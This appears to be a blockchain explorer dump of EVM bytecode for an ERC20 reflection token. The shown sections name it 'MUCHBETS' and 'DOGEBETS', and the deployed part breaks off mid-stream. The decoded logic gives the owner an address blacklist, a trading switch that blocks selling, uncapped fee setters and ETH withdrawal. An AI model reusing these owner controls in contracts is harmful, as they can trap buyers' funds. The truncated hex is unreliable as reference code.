b3a7640000905090565b60006108dc8484846117e7565b61099d846108e8611614565b61099885604051806060016040528060288152602001613c7e60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061094e611614565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461206c9092919063ffffffff16565b61161c565b600190509392505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109e5611614565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a69906131bf565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ad5611614565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b59906131bf565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bc0611614565b73ffffffffffffffffffffffffffffffffffffffff161480610c365750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c1e611614565b73ffffffffffffffffffffffffffffffffffffffff16145b610c3f57600080fd5b6000479050610c4d816120d0565b50565b6000610c9a600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461213c565b9050919050565b610ca9611614565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2d906131bf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dfc611614565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e80906131bf565b60405180910390fd5b8060168190555050565b60165481565b60116020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ee2611614565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f66906131bf565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600881526020017f4d55434842455453000000000000000000000000000000000000000000000000815250905090565b610fd7611614565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611064576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105b906131bf565b60405180910390fd5b8060188190555050565b611076611614565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611103576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110fa906131bf565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b6000611139611132611614565b84846117e7565b6001905092915050565b61114b611614565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111cf906131bf565b60405180910390fd5b6001601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611294611614565b73ffffffffffffffffffffffffffffffffffffffff16148061130a5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166112f2611614565b73ffffffffffffffffffffffffffffffffffffffff16145b61131357600080fd5b600061131e30610c50565b9050611329816121aa565b50565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113bb611614565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611448576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143f906131bf565b60405180910390fd5b8060178190555050565b61145a611614565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114de906131bf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611557576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154e906132f8565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561168c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116839061338a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f39061341c565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516117da9190612f4a565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611857576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161184e906134ae565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118be90613540565b60405180910390fd5b6000811161190a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611901906135d2565b60405180910390fd5b611912610eb1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119805750611950610eb1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611d6b57601560149054906101000a900460ff16611a0f576119a1610eb1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a0e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0590613664565b60405180910390fd5b5b601654811115611a54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a4b906136d0565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611af85750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b2e90613762565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611be45760175481611b9984610c50565b611ba39190613782565b10611be3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bda9061384a565b60405180910390fd5b5b6000611bef30610c50565b9050600060185482101590506016548210611c0a5760165491505b808015611c22575060158054906101000a900460ff16155b8015611c7c5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611c945750601560169054906101000a900460ff165b8015611cea5750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611d405750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611d6857611d4e826121aa565b60004790506000811115611d6657611d65476120d0565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611e125750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611ec55750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611ec45750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611ed3576000905061205a565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611f7e5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611f9657600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120415750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561205957600a54600c81905550600b54600d819055505b5b61206684848484612430565b50505050565b60008383111582906120b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120ab9190612df3565b60405180910390fd5b50600083856120c3919061386a565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612138573d6000803e3d6000fd5b5050565b6000600654821115612183576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161217a90613910565b60405180910390fd5b600061218d61245d565b90506121a2818461248890919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156121e1576121e0612b81565b5b60405190808252806020026020018201604052801561220f5781602001602082028036833780820191505090505b5090503081600081518110612227576122266131df565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156122c957600080fd5b505afa1580156122dd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123019190613945565b81600181518110612315576123146131df565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061237c30601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461161c565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016123e0959493929190613a6b565b600060405180830381600087803b1580156123fa57600080fd5b505af115801561240e573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b8061243e5761243d6124d2565b5b612449848484612515565b80612457576124566126e0565b5b50505050565b600080600061246a6126f4565b91509150612481818361248890919063ffffffff16565b9250505090565b60006124ca83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612753565b905092915050565b6000600c541480156124e657506000600d54145b156124f057612513565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612527876127b6565b95509550955095509550955061258586600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461281e90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061261a85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461286890919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612666816128c6565b6126708483612983565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516126cd9190612f4a565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b600080600060065490506000670de0b6b3a76400009050612728670de0b6b3a764000060065461248890919063ffffffff16565b82101561274657600654670de0b6b3a764000093509350505061274f565b81819350935050505b9091565b6000808311829061279a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127919190612df3565b60405180910390fd5b50600083856127a99190613af4565b9050809150509392505050565b60008060008060008060008060006127d38a600c54600d546129bd565b92509250925060006127e361245d565b905060008060006127f68e878787612a53565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061286083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061206c565b905092915050565b60008082846128779190613782565b9050838110156128bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128b390613b71565b60405180910390fd5b8091505092915050565b60006128d061245d565b905060006128e78284612adc90919063ffffffff16565b905061293b81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461286890919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6129988260065461281e90919063ffffffff16565b6006819055506129b38160075461286890919063ffffffff16565b6007819055505050565b6000806000806129e960646129db888a612adc90919063ffffffff16565b61248890919063ffffffff16565b90506000612a136064612a05888b612adc90919063ffffffff16565b61248890919063ffffffff16565b90506000612a3c82612a2e858c61281e90919063ffffffff16565b61281e90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612a6c8589612adc90919063ffffffff16565b90506000612a838689612adc90919063ffffffff16565b90506000612a9a8789612adc90919063ffffffff16565b90506000612ac382612ab5858761281e90919063ffffffff16565b61281e90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612aef5760009050612b51565b60008284612afd9190613b91565b9050828482612b0c9190613af4565b14612b4c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b4390613c5d565b60405180910390fd5b809150505b92915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612bb982612b70565b810181811067ffffffffffffffff82111715612bd857612bd7612b81565b5b80604052505050565b6000612beb612b57565b9050612bf78282612bb0565b919050565b600067ffffffffffffffff821115612c1757612c16612b81565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612c5882612c2d565b9050919050565b612c6881612c4d565b8114612c7357600080fd5b50565b600081359050612c8581612c5f565b92915050565b6000612c9e612c9984612bfc565b612be1565b90508083825260208201905060208402830185811115612cc157612cc0612c28565b5b835b81811015612cea5780612cd68882612c76565b845260208401935050602081019050612cc3565b5050509392505050565b600082601f830112612d0957612d08612b6b565b5b8135612d19848260208601612c8b565b91505092915050565b600060208284031215612d3857612d37612b61565b5b600082013567ffffffffffffffff811115612d5657612d55612b66565b5b612d6284828501612cf4565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612da5578082015181840152602081019050612d8a565b83811115612db4576000848401525b50505050565b6000612dc582612d6b565b612dcf8185612d76565b9350612ddf818560208601612d87565b612de881612b70565b840191505092915050565b60006020820190508181036000830152612e0d8184612dba565b905092915050565b6000819050919050565b612e2881612e15565b8114612e3357600080fd5b50565b600081359050612e4581612e1f565b92915050565b60008060408385031215612e6257612e61612b61565b5b6000612e7085828601612c76565b9250506020612e8185828601612e36565b9150509250929050565b60008115159050919050565b612ea081612e8b565b82525050565b6000602082019050612ebb6000830184612e97565b92915050565b6000819050919050565b6000612ee6612ee1612edc84612c2d565b612ec1565b612c2d565b9050919050565b6000612ef882612ecb565b9050919050565b6000612f0a82612eed565b9050919050565b612f1a81612eff565b82525050565b6000602082019050612f356000830184612f11565b92915050565b612f4481612e15565b82525050565b6000602082019050612f5f6000830184612f3b565b92915050565b600080600060608486031215612f7e57612f7d612b61565b5b6000612f8c86828701612c76565b9350506020612f9d86828701612c76565b9250506040612fae86828701612e36565b9150509250925092565b600060ff82169050919050565b612fce81612fb8565b82525050565b6000602082019050612fe96000830184612fc5565b92915050565b612ff881612c4d565b82525050565b60006020820190506130136000830184612fef565b92915050565b60006020828403121561302f5761302e612b61565b5b600061303d84828501612c76565b91505092915050565b61304f81612e8b565b811461305a57600080fd5b50565b60008135905061306c81613046565b92915050565b60006020828403121561308857613087612b61565b5b60006130968482850161305d565b91505092915050565b6000602082840312156130b5576130b4612b61565b5b60006130c384828501612e36565b91505092915050565b600080600080608085870312156130e6576130e5612b61565b5b60006130f487828801612e36565b945050602061310587828801612e36565b935050604061311687828801612e36565b925050606061312787828801612e36565b91505092959194509250565b6000806040838503121561314a57613149612b61565b5b600061315885828601612c76565b925050602061316985828601612c76565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006131a9602083612d76565b91506131b482613173565b602082019050919050565b600060208201905081810360008301526131d88161319c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061324882612e15565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561327b5761327a61320e565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006132e2602683612d76565b91506132ed82613286565b604082019050919050565b60006020820190508181036000830152613311816132d5565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613374602483612d76565b915061337f82613318565b604082019050919050565b600060208201905081810360008301526133a381613367565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613406602283612d76565b9150613411826133aa565b604082019050919050565b60006020820190508181036000830152613435816133f9565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613498602583612d76565b91506134a38261343c565b604082019050919050565b600060208201905081810360008301526134c78161348b565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061352a602383612d76565b9150613535826134ce565b604082019050919050565b600060208201905081810360008301526135598161351d565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006135bc602983612d76565b91506135c782613560565b604082019050919050565b600060208201905081810360008301526135eb816135af565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b600061364e603f83612d76565b9150613659826135f2565b604082019050919050565b6000602082019050818103600083015261367d81613641565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b60006136ba601c83612d76565b91506136c582613684565b602082019050919050565b600060208201905081810360008301526136e9816136ad565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b600061374c602383612d76565b9150613757826136f0565b604082019050919050565b6000602082019050818103600083015261377b8161373f565b9050919050565b600061378d82612e15565b915061379883612e15565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156137cd576137cc61320e565b5b828201905092915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b6000613834602383612d76565b915061383f826137d8565b604082019050919050565b6000602082019050818103600083015261386381613827565b9050919050565b600061387582612e15565b915061388083612e15565b9250828210156138935761389261320e565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006138fa602a83612d76565b91506139058261389e565b604082019050919050565b60006020820190508181036000830152613929816138ed565b9050919050565b60008151905061393f81612c5f565b92915050565b60006020828403121561395b5761395a612b61565b5b600061396984828501613930565b91505092915050565b6000819050919050565b600061399761399261398d84613972565b612ec1565b612e15565b9050919050565b6139a78161397c565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6139e281612c4d565b82525050565b60006139f483836139d9565b60208301905092915050565b6000602082019050919050565b6000613a18826139ad565b613a2281856139b8565b9350613a2d836139c9565b8060005b83811015613a5e578151613a4588826139e8565b9750613a5083613a00565b925050600181019050613a31565b5085935050505092915050565b600060a082019050613a806000830188612f3b565b613a8d602083018761399e565b8181036040830152613a9f8186613a0d565b9050613aae6060830185612fef565b613abb6080830184612f3b565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613aff82612e15565b9150613b0a83612e15565b925082613b1a57613b19613ac5565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613b5b601b83612d76565b9150613b6682613b25565b602082019050919050565b60006020820190508181036000830152613b8a81613b4e565b9050919050565b6000613b9c82612e15565b9150613ba783612e15565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613be057613bdf61320e565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613c47602183612d76565b9150613c5282613beb565b604082019050919050565b60006020820190508181036000830152613c7681613c3a565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ab99047d99d5af4dde4f4de791247b2deb93ab1f092515efbae9e901aba4e5cc64736f6c63430008090033
Deployed Bytecode
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c3c8cd8011610064578063c3c8cd801461066e578063dd62ed3e14610685578063ea1644d5146106c2578063f2fde38b146106eb576101d7565b8063a2a957bb146105a2578063a9059cbb146105cb578063be1aa3cd14610608578063bfd7928414610631576101d7565b80638f70ccf7116100d15780638f70ccf7146104fa5780638f9a55c01461052357806395d89b411461054e57806398a5c31514610579576101d7565b80637d1db4a5146104675780637f2feddc146104925780638da5cb5b146104cf576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190612d22565b610714565b005b34801561021157600080fd5b5061021a61083e565b6040516102279190612df3565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612e4b565b61087b565b6040516102649190612ea6565b60405180910390f35b34801561027957600080fd5b50610282610899565b60405161028f9190612f20565b60405180910390f35b3480156102a457600080fd5b506102ad6108bf565b6040516102ba9190612f4a565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190612f65565b6108cf565b6040516102f79190612ea6565b60405180910390f35b34801561030c57600080fd5b506103156109a8565b6040516103229190612f4a565b60405180910390f35b34801561033757600080fd5b506103406109ae565b60405161034d9190612fd4565b60405180910390f35b34801561036257600080fd5b5061036b6109b7565b6040516103789190612ffe565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190613019565b6109dd565b005b3480156103b657600080fd5b506103d160048036038101906103cc9190613072565b610acd565b005b3480156103df57600080fd5b506103e8610b7f565b005b3480156103f657600080fd5b50610411600480360381019061040c9190613019565b610c50565b60405161041e9190612f4a565b60405180910390f35b34801561043357600080fd5b5061043c610ca1565b005b34801561044a57600080fd5b506104656004803603810190610460919061309f565b610df4565b005b34801561047357600080fd5b5061047c610e93565b6040516104899190612f4a565b60405180910390f35b34801561049e57600080fd5b506104b960048036038101906104b49190613019565b610e99565b6040516104c69190612f4a565b60405180910390f35b3480156104db57600080fd5b506104e4610eb1565b6040516104f19190612ffe565b60405180910390f35b34801561050657600080fd5b50610521600480360381019061051c9190613072565b610eda565b005b34801561052f57600080fd5b50610538610f8c565b6040516105459190612f4a565b60405180910390f35b34801561055a57600080fd5b50610563610f92565b6040516105709190612df3565b60405180910390f35b34801561058557600080fd5b506105a0600480360381019061059b919061309f565b610fcf565b005b3480156105ae57600080fd5b506105c960048036038101906105c491906130cc565b61106e565b005b3480156105d757600080fd5b506105f260048036038101906105ed9190612e4b565b611125565b6040516105ff9190612ea6565b60405180910390f35b34801561061457600080fd5b5061062f600480360381019061062a9190613019565b611143565b005b34801561063d57600080fd5b5061065860048036038101906106539190613019565b611233565b6040516106659190612ea6565b60405180910390f35b34801561067a57600080fd5b50610683611253565b005b34801561069157600080fd5b506106ac60048036038101906106a79190613133565b61132c565b6040516106b99190612f4a565b60405180910390f35b3480156106ce57600080fd5b506106e960048036038101906106e4919061309f565b6113b3565b005b3480156106f757600080fd5b50610712600480360381019061070d9190613019565b611452565b005b61071c611614565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a0906131bf565b60405180910390fd5b60005b815181101561083a576001601060008484815181106107ce576107cd6131df565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806108329061323d565b9150506107ac565b5050565b60606040518060400160405280600881526020017f444f474542455453000000000000000000000000000000000000000000000000815250905090565b600061088f610888611614565b848461161c565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000670de0b6b3a7640000905090565b60006108dc8484846117e7565b61099d846108e8611614565b61099885604051806060016040528060288152602001613c7e60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061094e611614565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461206c9092919063ffffffff16565b61161c565b600190509392505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109e5611614565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a69906131bf565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ad5611614565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b59906131bf565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bc0611614565b73ffffffffffffffffffffffffffffffffffffffff161480610c365750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c1e611614565b73ffffffffffffffffffffffffffffffffffffffff16145b610c3f57600080fd5b6000479050610c4d816120d0565b50565b6000610c9a600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461213c565b9050919050565b610ca9611614565b73ffffffffffffffffffffffffffffffffffffff